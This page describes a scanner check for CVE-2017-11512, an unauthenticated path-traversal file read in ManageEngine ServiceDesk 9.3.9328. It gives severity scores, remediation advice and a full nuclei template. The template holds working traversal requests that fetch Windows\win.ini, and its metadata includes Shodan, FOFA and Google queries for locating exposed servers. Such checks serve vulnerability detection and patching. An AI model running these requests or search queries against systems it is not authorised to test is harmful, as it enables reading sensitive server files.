ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval

highseverity

7.5CVSS score

79.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.

Fix

Upgrade to a patched version of ManageEngine ServiceDesk 9.3.9328 or apply the necessary security patches.

How to confirm it

Send: GET {{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini ; GET {{BaseURL}}/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2017-11512 -u <target>

The full check

id: CVE-2017-11512

info:
  name: ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: |
    ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade to a patched version of ManageEngine ServiceDesk 9.3.9328 or apply the necessary security patches.
  reference:
    - https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html
    - https://www.tenable.com/security/research/tra-2017-31
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11512
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-11512
    cwe-id: CWE-22
    epss-score: 0.79604
    epss-percentile: 0.99607
    cpe: cpe:2.3:a:manageengine:servicedesk:9.3.9328:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: manageengine
    product: servicedesk
    shodan-query:
      - http.title:"ManageEngine"
      - http.title:"manageengine"
    fofa-query: title="manageengine"
    google-query: intitle:"manageengine"
  tags: cve,cve2017,manageengine,lfr,unauth,tenable,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini'
      - '{{BaseURL}}/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini'

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from